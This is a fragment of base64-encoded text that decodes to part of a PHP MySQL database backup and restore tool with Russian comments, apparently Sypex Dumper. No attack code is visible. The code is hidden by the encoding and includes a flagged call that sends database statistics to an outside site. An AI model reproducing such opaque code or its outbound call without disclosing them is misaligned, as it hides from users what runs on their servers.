AgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vcHJpbnRfcigkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGluX2FycmF5KCRpdGVtWydOYW1lJ10sICR0YWJsZXMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ1Jvd3MnXSA9IGVtcHR5KCRpdGVtWydSb3dzJ10pID8gMCA6ICRpdGVtWydSb3dzJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYmluZm9bMF0gKz0gJGl0ZW1bJ1Jvd3MnXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFiaW5mb1skaXRlbVsnTmFtZSddXSA9ICRpdGVtWydSb3dzJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpemUgKz0gJGl0ZW1bJ0RhdGFfbGVuZ3RoJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnNpemVbJGl0ZW1bJ05hbWUnXV0gPSAxICsgcm91bmQoTElNSVQgKiAxMDQ4NTc2IC8gKCRpdGVtWydBdmdfcm93X2xlbmd0aCddICsgMSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRpdGVtWydSb3dzJ10pICRpbmZvIC49ICJ8IiAuICRpdGVtWydSb3dzJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkaXRlbVsnQ29sbGF0aW9uJ10pICYmIHByZWdfbWF0Y2goIi9eKFthLXowLTldKylfL2kiLCAkaXRlbVsnQ29sbGF0aW9uJ10sICRtKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYl9jaGFyc2V0WyRpdGVtWydOYW1lJ11dID0gJG1bMV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJfdHlwZVskaXRlbVsnTmFtZSddXSA9IGlzc2V0KCRpdGVtWydFbmdpbmUnXSkgPyAkaXRlbVsnRW5naW5lJ10gOiAkaXRlbVsnVHlwZSddOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkc2hvdyA9IDEwICsgJHRhYmluZm9bMF0gLyA1MDsKICAgICAgICAgICAgICAgICRpbmZvID0gJHRhYmluZm9bMF0gLiAkaW5mbzsKICAgICAgICAgICAgICAgICRuYW1lID0gJGRiIC4gJ18nIC4gZGF0ZSgiWS1tLWRfSC1pIik7CiAgICAgICAgJGZwID0gJHRoaXMtPmZuX29wZW4oJG5hbWUsICJ3Iik7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJDcmVhdGUgZmlsZSB3aXRoIGJhY2t1cCBvZiBEQjo8QlI+XFxuICAtICB7JHRoaXMtPmZpbGVuYW1lfSIpOwogICAgICAgICAgICAgICAgJHRoaXMtPmZuX3dyaXRlKCRmcCwgIiNTS0QxMDF8eyRkYn18eyR0YWJzfXwiIC4gZGF0ZSgiWS5tLmQgSDppOnMiKSAuInx7JGluZm99XG5cbiIpOwogICAgICAgICAgICAgICAgJHQ9MDsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woc3RyX3JlcGVhdCgiLSIsIDYwKSk7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNFVCBTUUxfUVVPVEVfU0hPV19DUkVBVEUgPSAxIik7CiAgICAgICAgICAgICAgICAvLyDQmtC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8g0L/QviDRg9C80L7Qu9GH0LDQvdC40Y4KICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+bXlzcWxfdmVyc2lvbiA+IDQwMTAxICYmIENIQVJTRVQgIT0gJ2F1dG8nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgJyIgLiBDSEFSU0VUIC4gIiciKSBvciB0cmlnZ2VyX2Vycm9yICgi0J3QtdGD0LTQsNC10YLRgdGPINC40LfQvNC10L3QuNGC0Ywg0LrQvtC00LjRgNC+0LLQutGDINGB0L7QtdC00LjQvdC10L3QuNGPLjxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3RfY2hhcnNldCA9IENIQVJTRVQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgICAgICAgICAkbGFzdF9jaGFyc2V0ID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgZm9yZWFjaCAoJHRhYmxlcyBBUyAkdGFibGUpewogICAgICAgICAgICAgICAgICAgICAgICAvLyDQktGL0YHRgtCw0LLQu9GP0LXQvCDQutC+0LTQuNGA0L7QstC60YMg0YHQvtC10LTQuNC90LXQvdC40Y8g0YHQvtC+0YLQstC10YLRgdGC0LLRg9GO0YnRg9GOINC60L7QtNC40YDQvtCy0LrQtSDRgtCw0LHQu9C40YbRiwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPm15c3FsX3ZlcnNpb24gPiA0MDEwMSAmJiAkdGFiX2NoYXJzZXRbJHRhYmxlXSAhPSAkbGFzdF9jaGFyc2V0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKENIQVJTRVQgPT0gJ2F1dG8nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBteXNxbF9xdWVyeSgiU0VUIE5BTUVTICciIC4gJHRhYl9jaGFyc2V0WyR0YWJsZV0gLiAiJyIpIG9yIHRyaWdnZXJfZXJyb3IgKCLQndC10YPQtNCw0LXRgtGB0Y8g0LjQt9C80LXQvdC40YLRjCDQutC+0LTQuNGA0L7QstC60YMg0YHQvtC10LTQuNC90LXQvdC40Y8uPEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KPRgdGC0LDQvdC+0LLQu9C10L3QsCDQutC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8gYCIgLiAkdGFiX2NoYXJzZXRbJHRhYmxlXSAuICJgLiIsIENfV0FSTklORyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGFzdF9jaGFyc2V0ID0gJHRhYl9jaGFyc2V0WyR0YWJsZV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCfQmtC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8g0Lgg0YLQsNCx0LvQuNGG0Ysg0L3QtSDRgdC+0LLQv9Cw0LTQsNC10YI6JywgQ19FUlJPUik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCdUYWJsZSBgJy4gJHRhYmxlIC4nYCAtPiAnIC4gJHRhYl9jaGFyc2V0WyR0YWJsZV0gLiAnICjRgdC+0LXQtNC40L3QtdC90LjQtSAnICAuIENIQVJTRVQgLiAnKScsIENfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCLQntCx0YDQsNCx0L7RgtC60LAg0YLQsNCx0LvQuNGG0YsgYHskdGFibGV9YCBbIiAuIGZuX2ludCgkdGFiaW5mb1skdGFibGVdKSAuICJdLiIpOwogICAgICAgICAgICAgICAgLy8gQ3JlYXRlIHRhYmxlCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYHskdGFibGV9YCIpOwogICAgICAgICAgICAgICAgJHRhYiA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOwogICAgICAgICAgICAgICAgICAgICAgICAkdGFiID0gcHJlZ19yZXBsYWNlKCcvKGRlZmF1bHQgQ1VSUkVOVF9USU1FU1RBTVAgb24gdXBkYXRlIENVUlJFTlRfVElNRVNUQU1QfERFRkFVTFQgQ0hBUlNFVD1cdyt8Q09MTEFURT1cdyt8Y2hhcmFjdGVyIHNldCBcdyt8Y29sbGF0ZSBcdyspL2knLCAnLyohNDAxMDEgXFwxICovJywgJHRhYik7CiAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fd3JpdGUoJGZwLCAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYHskdGFibGV9YDtcbnskdGFiWzFdfTtcblxuIik7CiAgICAgICAgICAgICAgICAvLyBDaGVjazogTmVlZCB0byBkdW1wIGRhdGE/CiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHRhYl90eXBlWyR0YWJsZV0sICR0aGlzLT5vbmx5X2NyZWF0ZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8g0J7Qv9GA0LXQtNC10LTQtdC70Y/QtdC8INGC0LjQv9GLINGB0YLQvtC70LHRhtC+0LIKICAgICAgICAgICAgJE51bWVyaWNDb2x1bW4gPSBhcnJheSgpOwogICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgQ09MVU1OUyBGUk9NIGB7JHRhYmxlfWAiKTsKICAgICAgICAgICAgJGZpZWxkID0gMDsKICAgICAgICAgICAgd2hpbGUoJGNvbCA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgJE51bWVyaWNDb2x1bW5bJGZpZWxkKytdID0gcHJlZ19tYXRjaCgiL14oXHcqaW50fHllYXIpLyIsICRjb2xbMV0pID8gMSA6IDA7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGZpZWxkcyA9ICRmaWVsZDsKICAgICAgICAgICAgJGZyb20gPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAkbGltaXQgPSAkdGFic2l6ZVskdGFibGVdOwogICAgICAgICAgICAgICAgICAgICAgICAkbGltaXQyID0gcm91bmQoJGxpbWl0IC8gMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGFiaW5mb1skdGFibGVdID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRhYmluZm9bJHRhYmxlXSA+ICRsaW1pdDIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoMCwgJHQgLyAkdGFiaW5mb1swXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fd3JpdGUoJGZwLCAiSU5TRVJUIElOVE8gYHskdGFibGV9YCBWQUxVRVMiKTsKICAgICAgICAgICAgd2hpbGUoKCRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgeyR0YWJsZX1gIExJTUlUIHskZnJvbX0sIHskbGltaXR9IikpICYmICgkdG90YWwgPSBteXNxbF9udW1fcm93cygkcmVzdWx0KSkpewogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpKys7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdCsrOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRrID0gMDsgJGsgPCAkZmllbGRzOyAkaysrKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJE51bWVyaWNDb2x1bW5bJGtdKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcm93WyRrXSA9IGlzc2V0KCRyb3dbJGtdKSA/ICRyb3dbJGtdIDogIk5VTEwiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyb3dbJGtdID0gaXNzZXQoJHJvd1ska10pID8gIiciIC4gbXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRrXSkgLiAiJyIgOiAiTlVMTCI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fd3JpdGUoJGZwLCAoJGkgPT0gMSA/ICIiIDogIiwiKSAuICJcbigiIC4gaW1wbG9kZSgiLCAiLCAkcm93KSAuICIpIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGkgJSAkbGltaXQyID09IDApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoJGkgLyAkdGFiaW5mb1skdGFibGVdLCAkdCAvICR0YWJpbmZvWzBdKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRvdGFsIDwgJGxpbWl0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZyb20gKz0gJGxpbWl0OwogICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fd3JpdGUoJGZwLCAiO1xuXG4iKTsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoMSwgJHQgLyAkdGFiaW5mb1swXSk7fQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPnRhYnMgPSAkdGFiczsKICAgICAgICAgICAgICAgICR0aGlzLT5yZWNvcmRzID0gJHRhYmluZm9bMF07CiAgICAgICAgICAgICAgICAkdGhpcy0+Y29tcCA9ICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gKiAxMCArICR0aGlzLT5TRVRbJ2NvbXBfbGV2ZWwnXTsKICAgICAgICBlY2hvIHRwbF9zKDEsIDEpOwogICAgICAgIGVjaG8gdHBsX2woc3RyX3JlcGVhdCgiLSIsIDYwKSk7CiAgICAgICAgJHRoaXMtPmZuX2Nsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJCYWNrdXAgb2YgREI6IGB7JGRifWAgd2FzIGNyZWF0ZWQuIiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KDQsNC30LzQtdGAINCR0JQ6ICAgICAgICIgLiByb3VuZCgkdGhpcy0+c2l6ZSAvIDEwNDg1NzYsIDIpIC4gIiDQnNCRIiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgJGZpbGVzaXplID0gcm91bmQoZmlsZXNpemUoUEFUSCAuICR0aGlzLT5maWxlbmFtZSkgLyAxMDQ4NTc2LCAyKSAuICIg0JzQkSI7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJGaWxlIHNpemU6IHskZmlsZXNpemV9IiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KLQsNCx0LvQuNGGINC+0LHRgNCw0LHQvtGC0LDQvdC+OiB7JHRhYnN9IiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KHRgtGA0L7QuiDQvtCx0YDQsNCx0L7RgtCw0L3QvjogICAiIC4gZm5faW50KCR0YWJpbmZvWzBdKSwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyAiPFNDUklQVD53aXRoIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2F2ZScpKSB7c3R5bGUuZGlzcGxheSA9ICcnOyBpbm5lckhUTUwgPSAn0KHQutCw0YfQsNGC0Ywg0YTQsNC50LsgKHskZmlsZXNpemV9KSc7IGhyZWYgPSAnIiAuIFVSTCAuICR0aGlzLT5maWxlbmFtZSAuICInOyB9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhY2snKS5kaXNhYmxlZCA9IDA7PC9TQ1JJUFQ+IjsKICAgICAgICAgICAgICAgIC8vINCf0LXRgNC10LTQsNGH0LAg0LTQsNC90L3Ri9GFINC00LvRjyDQs9C70L7QsdCw0LvRjNC90L7QuSDRgdGC0LDRgtC40YHRgtC40LrQuAogICAgICAgICAgICAgICAgaWYgKEdTKSBlY2hvICI8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdHUycpLnNyYyA9ICdodHRwOi8vc3lwZXgubmV0L2dzLnBocD9iPXskdGhpcy0+dGFic30seyR0aGlzLT5yZWNvcmRzfSx7JHRoaXMtPnNpemV9LHskdGhpcy0+Y29tcH0sMTA4Jzs8L1NDUklQVD4iOwoKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIHJlc3RvcmUoKXsKICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJF9QT1NUKSkgeyR0aGlzLT5tYWluKCk7fQogICAgICAgICAgICAgICAgc2V0X2Vycm9yX2hhbmRsZXIoIlNYRF9lcnJvckhhbmRsZXIiKTsKICAgICAgICAgICAgICAgICRidXR0b25zID0gIjxJTlBVVCBJRD1iYWNrIFRZUEU9YnV0dG9uIFZBTFVFPSfQktC10YDQvdGD0YLRjNGB0Y8nIERJU0FCTEVEIG9uQ2xpY2s9XCJoaXN0b3J5LmJhY2soKTtcIj4iOwogICAgICAgICAgICAgICAgZWNobyB0cGxfcGFnZSh0cGxfcHJvY2Vzcygi0JLQvtGB0YHRgtCw0L3QvtCy0LvQtdC90LjQtSDQkdCUINC40Lcg0YDQtdC30LXRgNCy0L3QvtC5INC60L7Qv9C40LgiKSwgJGJ1dHRvbnMpOwoKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfYWN0aW9uJ10gICAgID0gMTsKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfZGJfcmVzdG9yZSddID0gaXNzZXQoJF9QT1NUWydkYl9yZXN0b3JlJ10pID8gJF9QT1NUWydkYl9yZXN0b3JlJ10gOiAnJzsKICAgICAgICAgICAgICAgICRmaWxlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6ICcnOwogICAgICAgICAgICAgICAgJHRoaXMtPmZuX3NhdmUoKTsKICAgICAgICAgICAgICAgICRkYiA9ICR0aGlzLT5TRVRbJ2xhc3RfZGJfcmVzdG9yZSddOwoKICAgICAgICAgICAgICAgIGlmICghJGRiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woIkVycm9yISDQndC1INGD0LrQsNC30LDQvdCwINCx0LDQt9CwINC00LDQvdC90YvRhSEiLCBDX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfZW5hYmxlQmFjaygpOwogICAgICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJDb25uZWN0IHRvIERCIGB7JGRifWAuIik7CiAgICAgICAgICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRiKSBvciB0cmlnZ2VyX2Vycm9yICgi0J3QtSDRg9C00LDQtdGC0YHRjyDQstGL0LHRgNCw0YLRjCDQsdCw0LfRgyDQtNCw0L3QvdGL0YUuPEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOwoKICAgICAgICAgICAgICAgIC8vINCe0L/RgNC10LTQtdC70LXQvdC40LUg0YTQvtGA0LzQsNGC0LAg0YTQsNC50LvQsAogICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgiL14oLis/KVwuc3FsKFwuKGJ6MnxneikpPyQvIiwgJGZpbGUsICRtYXRjaGVzKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJG1hdGNoZXNbM10pICYmICRtYXRjaGVzWzNdID09ICdiejInKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGlzc2V0KCRtYXRjaGVzWzJdKSAmJiRtYXRjaGVzWzNdID09ICdneicpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPSAxOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsnY29tcF9sZXZlbCddID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoUEFUSCAuICIveyRmaWxlfSIpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0J7QqNCY0JHQmtCQISDQpNCw0LnQuyDQvdC1INC90LDQudC00LXQvSEiLCBDX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9lbmFibGVCYWNrKCk7CiAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KfRgtC10L3QuNC1INGE0LDQudC70LAgYHskZmlsZX1gLiIpOwogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9ICRtYXRjaGVzWzFdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0J7QqNCY0JHQmtCQISDQndC1INCy0YvQsdGA0LDQvSDRhNCw0LnQuyEiLCBDX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfZW5hYmxlQmFjaygpOwogICAgICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKHN0cl9yZXBlYXQoIi0iLCA2MCkpOwogICAgICAgICAgICAgICAgJGZwID0gJHRoaXMtPmZuX29wZW4oJGZpbGUsICJyIik7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSA9ICRzcWwgPSAkdGFibGUgPSAkaW5zZXJ0ID0gJyc7CiAgICAgICAgJGlzX3NrZCA9ICRxdWVyeV9sZW4gPSAkZXhlY3V0ZSA9ICRxID0kdCA9ICRpID0gJGFmZl9yb3dzID0gMDsKICAgICAgICAgICAgICAgICRsaW1pdCA9IDMwMDsKICAgICAgICAkaW5kZXggPSA0OwogICAgICAgICAgICAgICAgJHRhYnMgPSAwOwogICAgICAgICAgICAgICAgJGNhY2hlID0gJyc7CiAgICAgICAgICAgICAgICAkaW5mbyA9IGFycmF5KCk7CgogICAgICAgICAgICAgICAgLy8g0KPRgdGC0LDQvdC+0LLQutCwINC60L7QtNC40YDQvtCy0LrQuCDRgdC+0LXQtNC40L3QtdC90LjRjwogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5teXNxbF92ZXJzaW9uID4gNDAxMDEgJiYgKENIQVJTRVQgIT0gJ2F1dG8nIHx8ICR0aGlzLT5mb3JjZWRfY2hhcnNldCkpIHsgLy8g0JrQvtC00LjRgNC+0LLQutCwINC/0L4g0YPQvNC+0LvRh9Cw0L3QuNGOLCDQtdGB0LvQuCDQsiDQtNCw0LzQv9C1INC90LUg0YPQutCw0LfQsNC90LAg0LrQvtC00LjRgNC+0LLQutCwCiAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgJyIgLiAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0IC4gIiciKSBvciB0cmlnZ2VyX2Vycm9yICgi0J3QtdGD0LTQsNC10YLRgdGPINC40LfQvNC10L3QuNGC0Ywg0LrQvtC00LjRgNC+0LLQutGDINGB0L7QtdC00LjQvdC10L3QuNGPLjxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KPRgdGC0LDQvdC+0LLQu9C10L3QsCDQutC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8gYCIgLiAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0IC4gImAuIiwgQ19XQVJOSU5HKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3RfY2hhcnNldCA9ICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3RfY2hhcnNldCA9ICcnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGxhc3Rfc2hvd2VkID0gJyc7CiAgICAgICAgICAgICAgICB3aGlsZSgoJHN0ciA9ICR0aGlzLT5mbl9yZWFkX3N0cigkZnApKSAhPT0gZmFsc2UpewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHN0cikgfHwgcHJlZ19tYXRjaCgiL14oI3wtLSkvIiwgJHN0cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRpc19za2QgJiYgcHJlZ19tYXRjaCgiL14jU0tEMTAxXHwvIiwgJHN0cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGluZm8gPSBleHBsb2RlKCJ8IiwgJHN0cik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9zKDAsICR0IC8gJGluZm9bNF0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlzX3NrZCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkcXVlcnlfbGVuICs9IHN0cmxlbigkc3RyKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGluc2VydCAmJiBwcmVnX21hdGNoKCIvXihJTlNFUlQgSU5UTyBgPyhbXmAgXSspYD8gLio/VkFMVUVTKSguKikkL2kiLCAkc3RyLCAkbSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRhYmxlICE9ICRtWzJdKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZSA9ICRtWzJdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnMrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYWNoZSAuPSB0cGxfbCgi0KLQsNCx0LvQuNGG0LAgYHskdGFibGV9YC4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsYXN0X3Nob3dlZCA9ICR0YWJsZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfc2tkKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoMTAwICwgJHQgLyAkaW5mb1s0XSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRpbnNlcnQgPSAkbVsxXSAuICcgJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICRtWzNdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbmRleCsrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvWyRpbmRleF0gPSBpc3NldCgkaW5mb1skaW5kZXhdKSA/ICRpbmZvWyRpbmRleF0gOiAwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW1pdCA9IHJvdW5kKCRpbmZvWyRpbmRleF0gLyAyMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbWl0ID0g